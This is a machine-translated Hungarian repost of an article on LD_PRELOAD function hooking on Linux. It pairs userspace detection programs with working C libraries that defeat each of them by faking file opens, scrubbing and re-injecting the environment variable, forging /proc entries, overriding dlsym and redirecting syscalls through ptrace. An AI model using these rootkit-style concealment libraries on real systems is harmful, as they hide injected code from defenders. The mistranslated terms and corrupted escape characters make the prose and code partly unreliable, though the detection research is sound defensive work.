Ezt a jegyzetet 2014-ben írták, de most kerültem elnyomás alá Habréval szemben, és nem látott napvilágot. A kitiltás alatt megfeledkeztem róla, de most megtaláltam a piszkozatokban. Gondoltam a törlésen, de hátha valakinek hasznos lesz.
Általában egy kis pénteki adminisztrátor olvasmány a „beleértve” keresés témában LD_ELŐTÖLTÉS.
1. Rövid kitérő azoknak, akik nem ismerik a funkcióhelyettesítést
A többi egyenesen mehet 2. o.
Kezdjük egy klasszikus példával:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Flag nélkül állítjuk össze:
$ gcc ./ld_rand.c -o ld_rand
És amint az várható volt, 5 véletlenszerű számot kapunk 100-nál:
$ ./ld_rand
53
93
48
57
20
De képzeljük el, hogy nem rendelkezünk a program forráskódjával, de meg kell változtatnunk a viselkedést.
Hozzuk létre saját könyvtárunkat saját függvényprototípusunkkal, például:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
És most a véletlenszerű választásunk meglehetősen kiszámítható:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Ez a trükk még lenyűgözőbbnek tűnik, ha először exportáljuk könyvtárunkat ezen keresztül
$ export LD_PRELOAD=$PWD/ld_rand.so
vagy előbb csináljuk meg
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
majd futtassa a programot a szokásos módon. Magában a programban egyetlen kódsort sem változtattunk meg, de a viselkedése a könyvtárunk egy apró függvényétől függ. Sőt, a program írásakor a sor nem is létezett.
Mitől volt hamisítvány a programunk sor? Vegyük lépésről lépésre.
Egy alkalmazás indításakor bizonyos könyvtárak betöltődnek, amelyek tartalmazzák a programhoz szükséges funkciókat. segítségével megtekinthetjük őket ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Ez a lista az operációs rendszer verziójától függően változhat, de ott kell lennie egy fájlnak libc.so. Ez a könyvtár biztosítja a rendszerhívásokat és az alapvető funkciókat, mint pl nyitva, malloc, printf stb A mi sor is köztük van. Győződjünk meg erről:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
Nézzük meg, hogy változik-e a könyvtárak halmaza használat közben LD_ELŐTÖLTÉS
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Kiderült, hogy a változó be van állítva LD_ELŐTÖLTÉS terhelésre kényszerít bennünket ld_rand.so még annak ellenére is, hogy maga a program nem igényli. És a mi funkciónk óta "rand" korábban tölt be sor -tól libc.so, akkor ő uralja a szállót.
Rendben, sikerült lecserélnünk a natív funkciót, de hogyan biztosíthatjuk, hogy a funkcionalitás megmaradjon, és bizonyos műveletek hozzáadásra kerüljenek. Módosítsuk a véletlenszerűségünket:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Itt „kiegészítésünkként” csak egy sor szöveget nyomtatunk, ami után mutatót hozunk létre az eredeti függvényre sor. A függvény címének megszerzéséhez szükségünk van dlsym egy függvény a könyvtárból libdlamely megtalálja a miénket sor dinamikus könyvtárak halmában. Ezután meghívjuk ezt a függvényt és visszaadjuk az értékét. Ennek megfelelően hozzá kell adnunk "-ldl" összeszerelés során:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
A programunk a "natív" kifejezést használja sor, miután korábban végrehajtott néhány obszcén cselekedetet.
2. A keresés fájdalma
Tudva egy lehetséges fenyegetést, azt szeretnénk észlelni preload Előadták. Nyilvánvaló, hogy az észlelés legjobb módja a kernelbe való betolással, de engem a userspace észlelési lehetőségei érdekeltek.
Ezután párban jönnek a megoldások az észlelésre és azok cáfolására.
2.1. Kezdjük egyszerűen
Mint korábban említettük, a változó segítségével megadhatja a betöltendő könyvtárat LD_ELŐTÖLTÉS vagy fájlba írva /etc/ld.so.preload. Hozzunk létre két egyszerű detektort.
Az első a beállított környezeti változó ellenőrzése:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
A második annak ellenőrzése, hogy a fájl meg van-e nyitva:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Töltsük fel a könyvtárakat:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
Itt és lent a [+] jelzi a sikeres észlelést.
Ennek megfelelően a [-] az észlelés megkerülését jelenti.
Mennyire hatékony egy ilyen detektor? Nézzük először a környezeti változót:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
Hasonlóképpen megszabadulunk a csekktől nyitva:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
Igen, itt más módok is használhatók a fájl elérésére, mint pl. open64, állami stb., de valójában ugyanaz az 5-10 sornyi kód kell a megtévesztéshez.
2.2. Menjünk tovább
Fent használtuk getenv() hogy megkapja az értéket LD_ELŐTÖLTÉS, de van egy „alacsonyabb szintű” út is Env-változók. Nem fogunk köztes függvényeket használni, hanem a tömbre fogunk hivatkozni **környezet, amely a környezet másolatát tárolja:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Mivel itt közvetlenül a memóriából olvasunk adatokat, az ilyen hívást nem lehet lehallgatni, és a mi undetect_getenv már nem zavarja a behatolás azonosítását.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
Úgy tűnik, ez a probléma megoldódott? Még csak most kezdődik.
A program elindítása után a változó értéke LD_ELŐTÖLTÉS a hackereknek már nincs szükségük rá a memóriában, vagyis elolvashatják és törölhetik, mielőtt bármilyen utasítást végrehajtanának. Természetesen egy tömb szerkesztése a memóriában legalábbis rossz programozási stílus, de ez megállíthat valakit, aki amúgy sem kíván jót nekünk?
Ehhez létre kell hoznunk saját hamis függvényünket benne (), amelyben elfogjuk a telepített LD_ELŐTÖLTÉS és továbbítjuk linkerünknek:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
Végrehajtjuk és ellenőrizzük:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
A memória azonban nem az utolsó hely, ahol helyettesítést találhat LD_ELŐTÖLTÉS, van még /proc/. Kezdjük a nyilvánvalóval /proc/{PID}/environ.
Valójában létezik egy univerzális megoldás észrevétlen **környezet и /proc/self/environ. A probléma a „rossz” viselkedés unsetenv(env).
helyes opció
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
//unsetenv(env);
// Вместо unset просто обнулим нашу переменную
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
De képzeljük el, hogy nem találtuk meg és /proc/self/environ "problémás" adatokat tartalmaz.
Először próbáljuk meg a korábbi "álruhánkkal":
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
hogyan ugyanazt használja a fájl megnyitásához nyisd ki(), így a megoldás hasonló a 2.1-es szakaszban leírtakhoz, de most létrehozunk egy ideiglenes fájlt, amelybe a valódi memória értékeit másoljuk, sorok nélkül LD_ELŐTÖLTÉS.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
És ez a szakasz már túl van:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
A következő nyilvánvaló hely /proc/self/maps. Nincs értelme ezen elidőzni. A megoldás teljesen megegyezik az előzővel: másolja ki az adatokat a fájlból, mínusz a közötti sorok libc.so и ld.hát.
2.4. Opció a Chokepoint-tól
Ez a megoldás az egyszerűsége miatt különösen tetszett. Összehasonlítjuk a közvetlenül innen betöltött függvények címeit libc, és a „KÖVETKEZŐ” címeket.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
A könyvtár betöltése lehallgatással "nyisd ki()" és ellenőrizze:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
A cáfolat még egyszerűbbnek bizonyult:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Syscalls
Úgy tűnik, ez minden, de akkor is lepényhal. Ha a rendszerhívást közvetlenül a kernelre irányítjuk, ez megkerüli a teljes elfogási folyamatot. Az alábbi megoldás természetesen architektúrafüggő (x86_64). Próbáljuk meg megvalósítani a nyílás észlelésére ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
És ennek a problémának van megoldása. Kivonat a férfi„A:
A ptrace egy olyan eszköz, amely lehetővé teszi egy szülőfolyamat számára, hogy megfigyelje és ellenőrizhesse egy másik folyamat előrehaladását, megtekintse és módosítsa annak adatait és regisztereit. Általában ezt a funkciót töréspontok létrehozására használják a hibakereső programokban és figyelik a rendszerhívásokat.
A szülőfolyamat elkezdheti a nyomkövetést a fork(2) meghívásával, majd az eredményül kapott gyermekfolyamat végrehajthatja a PTRACE_TRACEME parancsot, amelyet (általában) az exec(3) követ. Másrészt egy szülőfolyamat megkezdheti a meglévő folyamatok hibakeresését a PTRACE_ATTACH használatával.
Nyomkövetéskor a gyermekfolyamat minden alkalommal leáll, amikor jelet kap, még akkor is, ha a jelet figyelmen kívül hagyja. (Kivétel a SIGKILL, ami normálisan működik.) Erről a szülőfolyamat a wait(2) hívásával kap értesítést, amely után megtekintheti és módosíthatja a gyermekfolyamat tartalmát, mielőtt elindulna. A szülői folyamat ezután lehetővé teszi a gyermek számára, hogy tovább futhasson, bizonyos esetekben figyelmen kívül hagyva a neki küldött jelet, vagy helyette másik jelet küld.
Így a megoldás az, hogy figyeljük a folyamatot, minden rendszerhívás előtt leállítjuk, és ha szükséges, átirányítjuk a szálat egy hook funkcióhoz.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
Ellenőrizzük:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
Nagyon szépen köszönöm
, amelynek cikkei, forrásai és megjegyzései sokkal többet tettem, mint én, hogy ez a jegyzet itt megjelenjen.
Forrás: will.com
